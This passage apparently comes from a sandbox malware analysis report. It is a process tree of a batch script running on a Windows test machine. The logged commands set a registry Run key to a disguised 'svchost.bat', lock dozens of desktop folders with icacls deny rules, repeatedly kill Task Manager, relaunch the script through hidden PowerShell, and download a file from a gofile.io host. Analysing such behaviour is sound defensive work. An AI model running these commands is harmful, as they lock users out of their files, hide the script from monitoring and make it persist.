        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:6020
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5508
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:5564
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:5900
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:5844
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:4804
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2332
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:5908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1608
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:5808
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5756
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:6024
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        Modifies file permissions
        
        PID:5436
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:6316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6556
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
        6⤵
        
        PID:6888
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5792
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:2080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:1624
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:1684
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:6052
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5124
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5872
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:5368
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5576
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:2832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:5840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5288
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:5544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5848
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:6008
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:5740
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6044
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:5272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:6324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6564
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:6896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6200
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:2012
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4500
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5760
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:2832
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5316
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:6012
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:6368
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6688
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:7024
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6296
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5808
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5908
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:6928
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:5800
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6168
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1996
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4352
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2500
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:2492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2512
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3748
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:2296
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2112
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:2400
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4464
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:1188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:1632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:3544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2232
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:3704
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:3728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:2496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:3192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:3956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4788
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:2504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:2556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:4808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:388
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:3584
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:4856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:1632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:4668
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1072
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2332
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:3648
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:3192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:4828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1980
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:1828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:2228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:1608
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:3348
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3976
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:2768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4688
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:2732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2644
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:4032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2224
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:4660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4160
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:3432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4488
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:1636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1684
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:2544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:4808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:4372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:1412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:1576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:1344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:4540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:2476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:4984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2832
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:3896
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:4280
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:3956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:3932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1028
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:3424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:1900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2140
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:1188
